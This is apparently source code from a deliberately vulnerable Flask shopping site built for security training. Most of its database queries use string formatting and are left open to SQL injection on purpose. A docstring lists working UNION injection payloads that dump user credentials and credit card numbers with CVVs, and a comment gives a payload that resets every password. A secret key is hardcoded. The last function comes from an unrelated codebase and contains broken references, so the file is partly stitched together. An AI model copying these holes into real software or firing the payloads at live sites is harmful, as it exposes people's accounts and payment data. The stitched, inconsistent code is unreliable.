def Voucher():
if 'username' in session:
user = User(session['username'], session['email'], session['password'], session['question'], session['answer'])
else:
return redirect(url_for('user.signin'))
return render_template("user/Voucher.html", title="Vouchers", user=user)
def vouchers():
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
return render_template("shopping/Vouchers.html", user=user)
def recover(username):
if 'username' in session:
return redirect(url_for('main.home'))
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM users WHERE username='******' ".format(username))
user = c.fetchone()
userObj = User(user[0], user[1], user[2], user[3], user[4])
recoverForm = Recover(request.form)
if request.method == "POST" and recoverForm.validate():
if recoverForm.answer.data.lower() == userObj.get_answer():
c.execute("UPDATE users SET password='******' WHERE username='******' ".format(recoverForm.password.data, username))
conn.commit()
conn.close()
flash("Password has been changed!", "success")
"""
WEAK CODE
password'-- (change everyone's password)
"""
else:
flash("Incorrect answer!", "error")
return render_template('user/Recover.html', user=None, userObj=userObj, form=recoverForm)
def ShoppingCart():
if 'username' in session:
user = User(session['username'], session['email'], session['password'], session['question'], session['answer'])
else:
user = None
original_cost = 0
if 'cart' in session:
cart = session['cart']
for item in cart:
original_cost += item[3]
else:
cart = []
result_cost = original_cost
if 'voucher' in session:
voucher_code = session['voucher']
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT amount from vouchers where code='{}'".format(voucher_code))
amount = c.fetchone()
result_cost -= amount[0]
else:
voucher_code = ""
return render_template("shopping/ShoppingCart.html", user=user, cart=cart, original_cost=original_cost,
result_cost=result_cost, voucher_code=voucher_code)
def reviews(productid):
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
reviewsform = Reviews(request.form)
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT rowid,* FROM products WHERE rowid={}".format(productid))
product = c.fetchone()
c.execute("SELECT * FROM reviews")
reviews = c.fetchall()
if request.method == "POST" and reviewsform.validate():
c.execute("""INSERT INTO reviews VALUES ("{}", "{}", "{}")""".format(
product[0], user.get_username(), reviewsform.reviews.data))
conn.commit()
return redirect(url_for('main.reviews', productid=productid))
return render_template("main/Reviews.html",
user=user,
product=product,
reviews=reviews,
form=reviewsform)
def FAQ():
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
return render_template("main/FAQ.html", user=user)
def load_user(user_id):
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM users WHERE user_id=? ", (user_id, ))
conn.commit()
user = c.fetchone()
conn.close()
userObj = User(user[0], user[1], user[2], user[3], user[4])
return userObj
def signInOTP(token):
try:
current_user.get_username()
return redirect(url_for('main.home'))
except:
user = None
s = Serializer('3d6f45a5fc12445dbac2f59c3b6c7cb1', 120)
try:
# Check if token is valid
token = s.loads(token)
username = token[0]
otp = token[1]
expired = False
except:
expired = True
form = OTP(request.form)
resetToken = ''
if request.method == "POST" and not expired:
if form.OTP.data == otp:
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM users WHERE username=?", (username, ))
user = c.fetchone()
today = str(date.today())
# Check if password has expired
if datetime.strptime(today,
"%Y-%m-%d").date() >= datetime.strptime(
user[5], "%Y-%m-%d").date():
# Generate Token
s = Serializer('3d6f45a5fc12445dbac2f59c3b6c7cb1', 300)
# Store username in token for authentication
resetToken = s.dumps(user[1]).decode('UTF-8')
user = None
flash("Your password has expired!", "reset")
else:
# Sign in user
userObj = User(user[0], user[1], user[2], user[3], user[4])
if userObj.get_admin() == 'y':
login_user(userObj)
return redirect(url_for('admin.admin'))
else:
login_user(userObj)
return redirect(url_for('main.home'))
else:
flash("Invalid OTP", "error")
return render_template("user/OTP.html",
user=user,
form=form,
expired=expired,
token=resetToken)
def home():
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT rowid, * FROM products")
products = c.fetchall()
conn.close()
return render_template("main/Home.html", user=user, products=products)
def About():
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM reviews WHERE productid=4")
product = c.fetchone()
conn.close()
return render_template("main/About.html", user=user, product=product)
def Search(product):
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
# For search
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute(
"SELECT rowid, * FROM products WHERE name = '{}' ".format(product))
results = c.fetchall()
print(results)
conn.close()
"""
UNION SQL INJECTION
EXFILTRATE DB SCHEMA
' UNION SELECT * FROM x-- (Error: No such table x)
' UNION SELECT '1' FROM sqlite_master-- (Error: SELECTs to the left and right of UNION do not have the same number of result columns)
' UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM sqlite_master-- (Returns all products)
' UNION SELECT '1', sql, '3', '4', '5', '6', '7', '8' FROM sqlite_master-- (Returns all tables in schema)
(After knowing fields in user table)
GET ALL USER CREDENTIALS
' UNION SELECT '1', username, '3', '4', password, '6', '7', '8' FROM users--
GET CREDIT CARD DETAILS
' UNION SELECT '1', ccnumber, '3', '4', cvv, '6', '7', '8' FROM paymentdetails--
GET HIDDEN PRODUCTS
' UNION SELECT rowid, name, image, '4', cost_price, '6', '7', '8' FROM products--
"""
# Search Form
form = SearchForm(request.form)
if request.method == "POST":
# Pass prodduct into url directly (Weak code)
return redirect(url_for('shopping.Search', product=form.Search.data))
return render_template("shopping/Search.html",
user=user,
products=results,
search=product,
form=form)
def Products():
if 'username' in session:
user = User(session['username'], session['email'], session['password'], session['question'], session['answer'])
else:
user = None
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT rowid, * FROM products")
products = c.fetchall()
conn.close()
search = SearchForm(request.form)
if request.method == "POST":
# Pass product into url directly (Weak code)
return redirect(url_for('shopping.Search', product=search.Search.data))
return render_template("shopping/Products.html", user=user, form=search, products=products)
def checkout():
if 'username' in session:
user = User(session['username'], session['email'], session['password'], session['question'], session['answer'])
else:
user = None
if 'username' in session and 'voucher' in session:
url = "http://localhost:5000/api/userVoucher/" + session["username"]
response = requests.put(url, json={"code": session["voucher"]})
data = response.json()["data"]
if data == "This is a general voucher":
data = ""
else:
data = ""
del session['cart']
if 'voucher' in session:
del session['voucher']
return render_template("shopping/Checkout.html", data=data, user=user)
def emailus():
if 'username' in session:
user = User(session['username'], session['email'], session['password'],
session['question'], session['answer'])
else:
user = None
contactUsForm = ContactUs(request.form)
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
if request.method == "POST" and contactUsForm.validate():
c.execute(
"""INSERT INTO query VALUES ("{}", "{}", "{}","{}")""".format(
contactUsForm.name.data, contactUsForm.email.data,
contactUsForm.subject.data, contactUsForm.message.data))
conn.commit()
conn.close()
return redirect(url_for('main.emailus'))
return render_template("main/Emailus.html", user=user, form=contactUsForm)
def Profile():
if 'username' in session:
user = User(session['username'], session['email'], session['password'], session['question'], session['answer'])
# get payment information if have
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM paymentdetails WHERE username='******' ".format(user.get_username()))
# self define paymentinformation and fetch one and return into payment information variable.
paymentinformation = c.fetchone()
# get all the 4 attribute from the PaymentInfo.py
if paymentinformation:
payment_details = PaymentInfo(paymentinformation[1], paymentinformation[2], paymentinformation[3],
int(paymentinformation[4]))
else:
payment_details = PaymentInfo("", "", "", "")
else:
return redirect(url_for('user.signin'))
payment_form = PaymentOptions(request.form)
if request.method == "POST" and payment_form.validate():
print("this code is running")
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM paymentdetails WHERE username='******' ".format(user.get_username()))
result = c.fetchone()
if not result:
c.execute("INSERT INTO paymentdetails VALUES ('{}','{}','{}','{}','{}')".format(user.get_username(),
payment_form.Name.data,
payment_form.CreditCardno.data,
payment_form.ExpiryDate.data,
payment_form.SecretNumber.data))
conn.commit()
conn.close()
return redirect(url_for('user.Profile'))
else:
flash('Only can store 1 card detail')
return render_template("user/Profile.html", user=user, form=payment_form, payment_details=payment_details)
def post(self):
# Checks if user is logged in
try:
username = current_user.get_username()
return jsonify(data="You are signed in.")
except:
user = None
if request.is_json:
username = request.json['username']
password = request.json['password']
else:
username = request.form['username']
password = request.form['password']
if not username:
response = jsonify({"msg": "Missing username parameter"})
response.status_code = 400
return response
if not password:
response = jsonify({"msg": "Missing password parameter"})
response.status_code = 400
return response
pw_hash = hashlib.sha512(password.encode()).hexdigest()
conn = sqlite3.connect(os.path.join(file_directory, "storage.db"))
c = conn.cursor()
c.execute("SELECT * FROM users WHERE username=? and password=?",
(username, pw_hash))
user = c.fetchone()
if user == None:
response = jsonify(data="Incorrect email or password.")
response.status_code = 401
else:
user_obj = User(user[0], user[1], user[2], user[3], user[4])
login_user(user_obj)
response = jsonify(data="User login successfully.")
conn.close()
return response
def registerUser():
"""Endpoint use to register a user to the system. Sends a welcoming
Returns:
(str, int) -- Returns a tuple of the JSON object of the newly register user and a http status code.
"""
# Validate that only the valid User properties from the JSON schema update_self.schema.json
schemas_direcotry = os.path.join(current_app.root_path,
current_app.config['SCHEMA_FOLDER'])
schema_filepath = os.path.join(schemas_direcotry,
'registration.schema.json')
try:
with open(schema_filepath) as schema_file:
schema = json.loads(schema_file.read())
validate(instance=request.json,
schema=schema,
format_checker=draft7_format_checker)
except jsonschema.exceptions.ValidationError as validation_error:
return {'code': 400, 'message': validation_error.message}, 400
try:
with session_scope() as db_session:
new_user = User(first_name=request.json['firstName'],
last_name=request.json['lastName'],
username=request.json['username'],
email=request.json['email'],
password=argon2.hash(request.json['password']))
new_user.reset_password = False
new_user.is_admin = False
db_session.add(new_user)
# Commit new user to database making sure of the integrity of the relations.
db_session.commit()
# Automatically login the user upon succesful registration
session['user_id'] = new_user.id
# TODO Send confirmation email, for now only sending welcoming email.
send(current_app.config['SMTP_USERNAME'], new_user.email,
"Welcome to 354TheStars!",
"<html><body><p>Welcome to 354TheStars!</p></body></html>",
"Welcome to 354TheStars!")
if 'cart_id' in session:
ephemeral_cart = db_session.query(Cart).filter(
Cart.id == session['cart_id']).first()
if ephemeral_cart is not None:
if new_user.cart is None:
ephemeral_cart.user_id = new_user.id
else:
for ephemeral_cart_line in ephemeral_cart.cart_lines:
cart_line = db_session.query(CartLine).filter(
CartLine.cart_id == user.cart.id).filter(
CartLine.product_id ==
ephemeral_cart_line.product_id).first()
if cart_line is None:
user.cart.cart_lines.append(
CartLine(
product_id=ephemeral_cart_line.
product_id,
quantity=ephemeral_cart_line.quantity))
elif cart_line.product.quantity + ephemeral_cart_line <= cart_line.product.quantity:
cart_line.quantity += ephemeral_cart.quantity
session.pop('cart_id')
return new_user.to_json(), 200
# else:
# new_user.cart = Cart(user_id=new_user.id)
# return new_user.to_json(), 200
except DBAPIError as db_error:
# In case that the unvalid user was login remove it from session
if 'user_id' in session:
session.pop('user_id')
# Returns an error in case of a integrity constraint not being followed.
return {
'code': 400,
'message': re.search('DETAIL: (.*)', db_error.args[0]).group(1)
}, 400